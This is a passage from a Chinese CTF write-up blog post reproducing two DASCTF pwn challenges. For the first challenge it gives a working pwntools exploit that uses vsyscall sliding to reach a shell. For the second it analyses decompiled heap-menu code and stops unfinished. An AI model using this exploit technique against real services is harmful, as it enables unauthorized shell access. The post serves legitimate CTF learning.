zoukankan      html  css  js  c++  java
  • 七夕_DASCTF_pwn_复现

    0x1 magic_number

    分析

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char buf; // [rsp+0h] [rbp-30h]
      int v5; // [rsp+2Ch] [rbp-4h]
    
      sub_5559684A09A0(a1, a2, a3);
      v5 = rand();
      if ( v5 == 305419896 )
        system("/bin/sh");
      puts("Your Input :");
      read(0, &buf, 0x100uLL);
      return 0LL;
    }
    

    存在栈溢出,而且给了 system('/bin/sh') ,我们想办法调用即可。

    ki@ki-virtual-machine:/mnt/hgfs/gx16$ checksec pwn1
    [*] '/mnt/hgfs/gx16/pwn1'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    

    开启了 pie ,但是没开 cannary ,可以用 vsyscall 滑栈拿 shell 。看一下栈的情况:

    覆盖 main 低位为 system("/bin/sh") 的地址,返回地址至 main 处填上 vsyscall 中的 vgettimeofday 地址即可。
    PS:这题我测了下,16 跟 18 都可以,所以使用 vsyscall 滑栈在 pie 开启且没有给 libc 的情况下是挺实用的。

    exp

    from pwn import *
    
    file_name = './pwn1'
    libc_name = ''
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    p = remote('0.0.0.0',9997)
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    libc = elf.libc
    syscall_vgettimeofday = 0xffffffffff600000
    
    payload = 'a' * 0x38 + p64(0xffffffffff600000) * 4 + 'xa8'
    
    p.send(payload)
    
    p.interactive()
    

    0x2 Silly_white_sweet

    分析

    先看看程序的功能

    puts addr

      puts("Do you like Lao Ganma?");
      return printf("Nanshan Pizza Hut give you a gift : %p
    ", &puts);
    

    题目首先给了 puts 函数的地址,初始 money 为 0x40000 。

    add 函数

      if ( choice == 1 && a4_dword_20301C && meney_dword_203010 - 256 >= 0 )
      {
        *((_DWORD *)&size_203068 + 6 * idx) = 1280;
        *((_QWORD *)&addr_203060 + 3 * idx) = malloc(0x500uLL);
        puts("Please write the paper content:");
        read(0, *((void **)&addr_203060 + 3 * idx), 0x499uLL);
        --a4_dword_20301C;
        puts("You cost $256 for sign a new contract!");
        meney_dword_203010 -= 256;
        result = inuse_dword_203070;
        inuse_dword_203070[6 * idx] = 1;
      }
      else
      {
        if ( choice != 2 || !a1_dword_203018 || meney_dword_203010 - 256 < 0 )
          my_exit();
        *((_DWORD *)&size_203068 + 6 * idx) = 18592;
        *((_QWORD *)&addr_203060 + 3 * idx) = malloc(*((signed int *)&size_203068 + 6 * idx));
        puts("Please write the paper content:");
        read(0, *((void **)&addr_203060 + 3 * idx), (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1));
        --a1_dword_203018;
        puts("You cost $256 for sign a new contract!");
        meney_dword_203010 -= 256;
        result = inuse_dword_203070;
        inuse_dword_203070[6 * idx] = 1;
      }
    
    1. 可以分配 0x500 和 0x48a0 两种 chunk , 每种 chunk 只能分配三次 。
    2. 可以往 chunk 中写 size - 1 的内容。
    3. 每次分配需要 256 money 。

    confirm 函数

      if ( idx < 0 || idx > 4 )
        my_exit();
      if ( !inuse_dword_203070[6 * idx] )
        my_exit();
      if ( *((_DWORD *)&confirm_unk_20306C + 6 * idx) )
      {
        puts("You already confirm it!");
        my_exit();
      }
      if ( *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
      {
        puts("No!you don't have enough money!");
        my_exit();
      }
      printf("You cost $%d to confirm contract!
    ", *((unsigned int *)&size_203068 + 6 * idx));
      meney_dword_203010 -= *((_DWORD *)&size_203068 + 6 * idx);
      puts("Plz comfirm your contract content!");
      puts(*((const char **)&addr_203060 + 3 * idx));
      result = &confirm_unk_20306C;
      *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 1;
    
    1. idx 需要在 0 至 4 之间。
    2. 这个 chunk 必须被分配过。
    3. 这个 chunk 不能 confirm 过。
    4. 需要 szie 大小的 money 。
    5. 将 chunk 内容打印出来 ,也相当于 show 函数。

    delete 函数

      __isoc99_scanf("%d", &idx);
      if ( idx < 0 || idx > 4 )
        my_exit();
      if ( !inuse_dword_203070[6 * idx] )
        my_exit();
      if ( !*((_DWORD *)&confirm_unk_20306C + 6 * idx) )
      {
        puts("plz confirm it first!");
        my_exit();
      }
      if ( 2 * *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
      {
        puts("No!you don't have enough money!");
        my_exit();
      }
      printf(
        "You cost $%d for unilaterally terminates the contract!
    ",
        (unsigned int)(2 * *((_DWORD *)&size_203068 + 6 * idx)));
      meney_dword_203010 -= 2 * *((_DWORD *)&size_203068 + 6 * idx);
      free(*((void **)&addr_203060 + 3 * idx));
      inuse_dword_203070[6 * idx] = 0;
      result = &confirm_unk_20306C;
      *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 0;
    
    1. idx 在 0 到 4 之间。
    2. 这个 chunk 必须被分配过。
    3. 这个 chunk 必须 confirm 过。
    4. 需要 2 * size 的 money 。
    5. 单纯的释放 chunk ,指针没有置 0 ,不过 inuse 位置 0 了。

    show && edit 函数

        if ( !dword_203014 )
        {
          puts("You don't have any court!");
          my_exit();
        }
        idx = 0;
        printf("Please select the contract to use :");
        __isoc99_scanf("%d", &idx);
        if ( idx < 0 || idx > 4 )
          my_exit();
        choice = 0;
        printf("You want to read(1) or write(2) :", &idx);
        __isoc99_scanf("%d", &choice);
        if ( choice != 1 && choice != 2 )
          my_exit();
        if ( choice == 1 )
        {
          puts("This is your contract content!");
          puts(*((const char **)&addr_203060 + 3 * idx));
        }
        else
        {
          v2 = 0;
          printf("Please select the offset to use :", &choice);
          __isoc99_scanf("%d", &v2);
          if ( v2 < 0 || *((_DWORD *)&size_203068 + 6 * idx) - 1 <= v2 )
            my_exit();
          puts("Please change the contract content:");
          read(
            0,
            (void *)(*((_QWORD *)&addr_203060 + 3 * idx) + v2),
            (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1 - v2));
        }
        printf("You will cost $%d to sue!
    ", (unsigned int)(10 * *((_DWORD *)&size_203068 + 6 * idx)));
        result = (unsigned int)(-10 * *((_DWORD *)&size_203068 + 6 * idx) + meney_dword_203010);
        if ( (signed int)result >= 0 )
        {
          v1 = -10 * *((_DWORD *)&size_203068 + 6 * idx);
          result = (unsigned int)(v1 + meney_dword_203010);
          meney_dword_203010 += v1;
        }
        else
        {
          meney_dword_203010 = 1;
        }
      }
      else
      {
        puts("No!you don't have enough money!");
        result = (unsigned int)(meney_dword_203010-- - 1);
      }
    

    这其实是把 add 与 edit 函数写到了一起。

    1. 法院不能被 sold 了。
    2. money 要超过 0x10000 。
    3. idx 在 0 到 4 之间。

    接下来进入判断分支:
    read 分支:

    • 打印 chunk 的内容 。

    write 分支:

    • 修改 chunk 内某处起的内容。
    1. 需要 size * 10 的 money 。

    sold court

          case 5u:
            if ( dword_203014 )
            {
              puts("You sold court!");
              meney_dword_203010 += 512;
              dword_203014 = 0;
            }
            else
            {
              puts("You don't have any court!");
            }
    

    有一个分支可以卖法院得钱 。

    (未完待续...)

  • 相关阅读:
    Java 8 Lambda 表达式
    OSGi 系列(十二)之 Http Service
    OSGi 系列(十三)之 Configuration Admin Service
    OSGi 系列(十四)之 Event Admin Service
    OSGi 系列(十六)之 JDBC Service
    OSGi 系列(十)之 Blueprint
    OSGi 系列(七)之服务的监听、跟踪、声明等
    OSGi 系列(六)之服务的使用
    OSGi 系列(三)之 bundle 事件监听
    OSGi 系列(三)之 bundle 详解
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13579635.html
Copyright © 2011-2022 走看看